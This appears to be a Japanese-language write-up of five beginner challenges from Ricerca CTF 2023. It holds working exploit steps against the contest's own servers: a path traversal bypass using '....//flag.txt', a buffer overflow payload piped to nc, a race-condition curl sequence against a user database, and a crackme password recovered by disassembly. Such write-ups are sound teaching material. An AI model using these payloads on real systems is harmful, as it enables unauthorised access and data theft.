Ricerca CTF 2023 Writeup
Table of Contents
ソロチーム_
で参加し、6問通して589ptsで59/187位でした。別件で問題を解く時間を取れなかったのですが(時間があれば解けたのかと言われるとそうではない気がする)、CTFは継続していきたいなと思っているのでサクッとwriteupを書きます。参考になる情報は少ないと思いますが悪しからず…
本当に虚無問しか解けておらず、CTFをやったという感じがしません。welcomeは虚無なので省略します。
crackme[88pts/134solved]
Can you crack the password?
$ file crackme
crackme: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=e109ac8573ee031e7432c0d27a973fb37e492c80, for GNU/Linux 3.2.0, stripped
64-bitのELFなのでRadare2で構造を見る。
$ r2 crackme
[0x000011a0]> aaaa
(snip)
[0x000011a0]> s main
[0x000010e0]> pdf
;-- section..text:
; DATA XREF from entry0 @ 0x11c1(r)
┌ 183: int main (int argc, char **argv, char **envp);
(snip)
│ 0x00001132 e899ffffff call sym.imp.__isoc99_scanf ; int scanf(const char *format)
│ 0x00001137 83f801 cmp eax, 1
│ ┌─< 0x0000113a 752d jne 0x1169
│ │ 0x0000113c 488d35e30e00. lea rsi, str.N1pp0n_Ich__s3cuR3_p45_w0rD ; 0x2026 ; "N1pp0n-Ich!_s3cuR3_p45$w0rD" ; const char *s2
│ │ 0x00001143 4889ef mov rdi, rbp ; const char *s1
│ │ 0x00001146 4189c4 mov r12d, eax
│ │ 0x00001149 e862ffffff call sym.imp.strcmp ; int strcmp(const char *s1, const char *s2)
│ │ 0x0000114e 85c0 test eax, eax
│ ┌──< 0x00001150 7532 jne 0x1184
│ ││ 0x00001152 488d3de90e00. lea rdi, str.___Authenticated ; 0x2042 ; "[+] Authenticated" ; const char *s
│ ││ 0x00001159 4531e4 xor r12d, r12d
│ ││ 0x0000115c e82fffffff call sym.imp.puts ; int puts(const char *s)
│ ││ 0x00001161 4889ef mov rdi, rbp ; int64_t arg1
│ ││ 0x00001164 e827010000 call fcn.00001290
│ ││ ; CODE XREFS from main @ 0x113a(x), 0x1190(x)
(snip)
N1pp0n-Ich!_s3cuR3_p45$w0rD
を入れるだけ。
$ ./crackme
Password: N1pp0n-Ich!_s3cuR3_p45$w0rD
[+] Authenticated
The flag is "RicSec{U_R_h1y0k0_cr4ck3r!}"
Revolving Letters[93pts/119solved]
Who keeps spinning letters around?
ソースコードを見るにdecrypt関数を書くだけ。
LOWER_ALPHABET = "abcdefghijklmnopqrstuvwxyz"
key='thequickbrownfoxjumpsoverthelazydog'
secret = 'RpgSyk{qsvop_dcr_wmc_rj_rgfxsime!}'
def decrypt(secret, key):
assert len(secret) <= len(key)
result = ""
for i in range(len(secret)):
if secret[i] not in LOWER_ALPHABET: # Don't encode symbols and capital letters (e.g. "A", " ", "_", "!", "{", "}")
result += secret[i]
else:
result += LOWER_ALPHABET[(LOWER_ALPHABET.index(secret[i]) - LOWER_ALPHABET.index(key[i]) + 26) % 26]
return result
print(decrypt(secret, key))
# RicSec{great_you_can_do_anything!}
Cat Café[95pts/113solved]
Which cat do you like the most? https://cat-cafe.2023.ricercactf.com:8000
Webページを開くと猫の画像が表示されている。画像は http://cat-cafe.2023.ricercactf.com:8000/img?f=02.jpg
のようにファイル名指定しているのでDirectory Traversalできそう。
配布ファイルを見ると、Dockerfileからflag.txtの場所が分かる。
FROM tiangolo/uwsgi-nginx-flask:latest
RUN apt update
RUN groupadd -r ctf && useradd -r -g ctf ctf
RUN pip install Flask
WORKDIR /home/ctf
ADD ./app.py ./
ADD ./images ./images
ADD ./templates ./templates
ADD ./uwsgi.ini ./
ADD ./flag.txt ./
RUN chown -R root:ctf ./
RUN chmod -R 550 ./
また、クエリパラメータで指定されている部分はDirectory Traversal対策で置換されている。
@app.route('/img')
def serve_image():
filename = flask.request.args.get("f", "").replace("../", "") # replacing
path = f'images/{filename}'
しかし、この置換は1度しか行われていないので2重にするだけで良い。
http://cat-cafe.2023.ricercactf.com:8000/img?f=....//flag.txt
RicSec{directory_traversal_is_one_of_the_most_common_vulnearbilities}
BOFSec[97pts/107solved]
100% authentic nc bofsec.2023.ricercactf.com 9001
問題名からBOFするだけな気がする。配布ファイルを見る。
typedef struct {
char name[0x100];
int is_admin;
} auth_t;
この定義を見るに、0x100分のnameを埋めた後でis_adminに溢れさせて上書きすれば良さそう。
$ python3 -c "print('a'*0x100+'1')" | nc bofsec.2023.ricercactf.com 9001
Name: [+] Authentication successful.
Flag: RicSec{U_und3rst4nd_th3_b4s1c_0f_buff3r_0v3rfl0w}
tinyDB[135pts/50solves]
It’s a tiny tiny user database… http://tinydb.2023.ricercactf.com:8888
配布ファイルを見ると、POST /get_flag
に対するリクエストで、userDB.entriesにおけるauth.usernameとauth.passowrdとgradeがadminなら良いことが分かる。
server.post<{ Body: AuthT }>("/get_flag", async (request, response) => {
const { username, password } = request.body;
const session = request.session.sessionId;
const userDB = getUserDB(session);
// userDB.entriesにおけるauth.usernameとauth.passowrdとgradeがadminなら良い
for (const [auth, grade] of userDB.entries()) {
if (
auth.username === username &&
auth.password === password &&
grade === "admin"
) {
response
.type("application/json")
.send({ flag: `great! here is your flag: ${flag}` });
return;
}
}
response.type("application/json").send({ flag: "no flag for you :)" });
});
userDBは、以下の通りサイズが10より大きくなると、2000 + 3000 * Math.random()[ms]
後にrollbackが起きるらしい。それまではadminのパスワードが*
で埋められているため、その情報を使ってPOST /get_flag
すれば良い。
if (userDB.size > 10) {
// Too many users, clear the database
userDB.clear();
auth.username = "admin";
auth.password = getAdminPW();
userDB.set(auth, "admin");
auth.password = "*".repeat(auth.password.length);
}
const rollback = () => {
const grade = userDB.get(auth);
updateAdminPW();
const newAdminAuth = {
username: "admin",
password: getAdminPW(),
};
userDB.delete(auth);
userDB.set(newAdminAuth, grade ?? "guest");
};
setTimeout(() => {
// Admin password will be changed due to hacking detected :(
if (auth.username === "admin" && auth.password !== getAdminPW()) {
rollback();
}
}, 2000 + 3000 * Math.random()); // no timing attack!
(snip)
$ curl '[http://tinydb.2023.ricercactf.com:8888/set_user](http://tinydb.2023.ricercactf.com:8888/set_user)' -X POST -H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/112.0' -H 'Accept: */*' -H 'Accept-Language: en-US,en;q=0.5' -H 'Accept-Encoding: gzip, deflate' -H 'Referer: [http://tinydb.2023.ricercactf.com:8888/](http://tinydb.2023.ricercactf.com:8888/)' -H 'Content-Type: application/json' -H 'Origin: [http://tinydb.2023.ricercactf.com:8888](http://tinydb.2023.ricercactf.com:8888/)' -H 'DNT: 1' -H 'Connection: keep-alive' -H 'Cookie: sessionId=Tvq9aLbAnqHOo4WaOaQaIycn_cyY8Vnz.CcCsC5lx6wXI6RyDupGkPte4vFXIRVBPx5F0M7AVK6c' --data-raw '{"username":"admin","password":"**"}'
{"authId":"admin","authPW":"**","grade":"admin"}%
$ curl '[http://tinydb.2023.ricercactf.com:8888/get_flag](http://tinydb.2023.ricercactf.com:8888/get_flag)' -X POST -H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/112.0' -H 'Accept: */*' -H 'Accept-Language: en-US,en;q=0.5' -H 'Accept-Encoding: gzip, deflate' -H 'Referer: [http://tinydb.2023.ricercactf.com:8888/](http://tinydb.2023.ricercactf.com:8888/)' -H 'Content-Type: application/json' -H 'Origin: [http://tinydb.2023.ricercactf.com:8888](http://tinydb.2023.ricercactf.com:8888/)' -H 'DNT: 1' -H 'Connection: keep-alive' -H 'Cookie: sessionId=Tvq9aLbAnqHOo4WaOaQaIycn_cyY8Vnz.CcCsC5lx6wXI6RyDupGkPte4vFXIRVBPx5F0M7AVK6c' --data-raw '{"username":"admin","password":"********************************"}'
{"flag":"great! here is your flag: RicSec{j4v45cr1p7_15_7000000000000_d1f1cul7}"}%
個人的にno timing attack!
は嘘の誘導っぽく見えなくもないので、ない方が良かったなと思いました。